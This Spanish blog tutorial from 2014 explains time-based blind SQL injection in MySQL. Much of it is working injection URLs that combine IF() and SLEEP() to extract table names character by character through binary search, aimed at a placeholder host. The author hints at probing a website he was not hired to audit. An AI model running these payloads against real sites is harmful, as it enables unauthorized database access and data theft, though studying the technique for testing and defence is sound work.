Nuevas Entradas

Blind Mysqli Time Based [Teoria]


by [Q]3rV[0]

Mientras "auditaba" una web, lo digo entre comillas por que no me dedico a eso en lo laboral, me encontré con una intrépida variante de SQL Injection descartando las demás posibilidades a través de las respuestas que generaba el servidor, note que se trataba de una:

"Blind Sqli basada en tiempo"

Paso a explicar a quienes no se encuentren familiarizados con este tipo de inyección.

Basicamente una "Blind mysqli basada en tiempo" se trata de inyectar a ciegas como toda blind, en mi caso utilizando la técnica de busqueda binaria (la mas comunmente utilizada en estas situaciones) pero se da cuando la aplicación muestra el mismo mensaje TRUE OR FALSE, es decir que da los mismo inyectar
un:

OR 1=1 que un OR 2+5/87=9999999999

el sitio web nos seguira mostrando el mismo mensaje de error, o puede deberse a realizar una carga incorrecta del contenido web, o cualquier otra variación en el sitio, da lo mismo, la aplicación resulta vulnerable pero no podremos deducir cual es la inyección correcta.

Para estas situaciones, podemos hacer uso de la función sleep() y la estructura condicional if(), ahora paso a explicar la sintaxis de cada una de estas.

La sintaxis de if es la siguiente:

if(<condicion>,<si la condicion se cumple>,<si la condicion no se cumple>)

Por ejemplo:


sleep() se utiliza para producir una pausa de tantos segundos, vamos a combinarlo con if() e imponerlo si la condicion no se cumple.


Como vemos la condición dio como resultado falsa y se le introdujo un retardo de 3 seg ante dicha respuesta.

ahora se pueden imaginar el resultado del vector al combinar ambas funciones con una blind sqli??

No se trata de nada rebuscado, solo hay que utilizar como condición el vector sqli para dicha inyección por ejemplo:

Empecemos desde cero, supongamos que encontraron una web vulnerable que da con el perfil de este tipo de inyección y queremos verificar que en realidad se trata de esta, comenzariamos por introcir el siguiente vector en el parametro devil.

http://vuln-bsqli-based-time/?devil=5 or 1=if(1=1,sleep(5),0)--   > 5 segundos(TRUE)
http://vuln-bsqli-based-time/?devil=5 or 1=if(1=9999,sleep(5),0)--  > FALSE

Ahora ya nos damos una idea de como inyectar en la aplicacion comenzando por obtener el listado de las tablas en la base de datos, normalmente en una blind sqli seria de la siguiente manera:

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15-- TRUEhttp://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50-- TRUE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100-- FALSE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68-- FALSE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67-- TRUE

Veamos como queda armado el vector haciendo uso de nuestro amigo "el tiempo":


http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15,sleep(5),0)-- TRUE 5 segundos
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50,sleep(5),0)-- TRUE 5 segundos
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100,sleep(5),0)-- FALSE
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68,sleep(5),0)-- FALSE
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67,sleep(5),0)-- TRUE 5 segundos
Sencillo, lo unico que tiene de rebuscado esta tecnica es mantener la paciencia mientras se lleva a cabo la inyección manualmente.

Saludos!

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates